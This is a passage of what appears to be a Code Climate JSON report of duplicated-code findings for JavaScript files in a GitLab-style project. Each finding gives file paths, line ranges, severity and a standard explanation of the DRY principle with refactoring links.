p76\n"},"fingerprint":"d22f4f9ddac4d361d9f6721a25ded899","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/projects/project_new.js","lines":{"begin":103,"end":116}},"remediation_points":630000,"other_locations":[{"path":"app/assets/javascripts/ide/constants.js","lines":{"begin":43,"end":56}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 56**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"d9ad4d62a2c7b3a5ee02495f81a78cd8","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/constants.js","lines":{"begin":43,"end":56}},"remediation_points":630000,"other_locations":[{"path":"app/assets/javascripts/projects/project_new.js","lines":{"begin":103,"end":116}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 56**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"b9bd1f7a0fafe178e70f6a652d6fd8be","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/merge_conflicts/components/diff_file_editor.js","lines":{"begin":13,"end":26}},"remediation_points":570000,"other_locations":[{"path":"app/assets/javascripts/diff_notes/components/resolve_discussion_btn.js","lines":{"begin":8,"end":21}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 54**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"423d5a0cc874e941bd22657b325446b4","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/diff_notes/components/resolve_discussion_btn.js","lines":{"begin":8,"end":21}},"remediation_points":570000,"other_locations":[{"path":"app/assets/javascripts/merge_conflicts/components/diff_file_editor.js","lines":{"begin":13,"end":26}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 54**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"716df5a6c1cbc00338163aa638130bca","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/merge_request_tabs.js","lines":{"begin":436,"end":441}},"remediation_points":570000,"other_locations":[{"path":"app/assets/javascripts/merge_request_tabs.js","lines":{"begin":452,"end":457}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 54**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"5a2cd4548ee8c0362f69cc88ee5982c0","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/merge_request_tabs.js","lines":{"begin":452,"end":457}},"remediation_points":570000,"other_locations":[{"path":"app/assets/javascripts/merge_request_tabs.js","lines":{"begin":436,"end":441}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 54**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"5a2cd4548ee8c0362f69cc88ee5982c0","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":214,"end":221}},"remediation_points":570000,"other_locations":[{"path":"app/assets/javascripts/pages/search/init_filtered_search.js","lines":{"begin":13,"end":20}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 54**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"e71451918dac542ee62e859e4a694a23","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/search/init_filtered_search.js","lines":{"begin":13,"end":20}},"remediation_points":570000,"other_locations":[{"path":"app/assets/javascripts/notes.js","lines":{"begin":214,"end":221}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 54**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"6696916f5ca830f21733956d3dc83b22","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/prometheus_metrics/prometheus_metrics.js","lines":{"begin":45,"end":49}},"remediation_points":570000,"other_locations":[{"path":"app/assets/javascripts/prometheus_metrics/prometheus_metrics.js","lines":{"begin":50,"end":54}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 54**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"723e924a871cea3a66a3ccd49f2f4407","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/prometheus_metrics/prometheus_metrics.js","lines":{"begin":50,"end":54}},"remediation_points":570000,"other_locations":[{"path":"app/assets/javascripts/prometheus_metrics/prometheus_metrics.js","lines":{"begin":45,"end":49}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 54**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"723e924a871cea3a66a3ccd49f2f4407","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/behaviors/markdown/copy_as_gfm.js","lines":{"begin":97,"end":102}},"remediation_points":540000,"other_locations":[{"path":"app/assets/javascripts/behaviors/markdown/copy_as_gfm.js","lines":{"begin":103,"end":108}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 53**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"38cb87a7a94d43c42903f71cfd248953","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/behaviors/markdown/copy_as_gfm.js","lines":{"begin":103,"end":108}},"remediation_points":540000,"other_locations":[{"path":"app/assets/javascripts/behaviors/markdown/copy_as_gfm.js","lines":{"begin":97,"end":102}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 53**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"38cb87a7a94d43c42903f71cfd248953","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/projects/project_new.js","lines":{"begin":125,"end":129}},"remediation_points":540000,"other_locations":[{"path":"app/assets/javascripts/projects/project_new.js","lines":{"begin":150,"end":153}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 53**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"77fe9230b5c1c681ca23dd48b5bde881","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/projects/project_new.js","lines":{"begin":150,"end":153}},"remediation_points":540000,"other_locations":[{"path":"app/assets/javascripts/projects/project_new.js","lines":{"begin":125,"end":129}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a 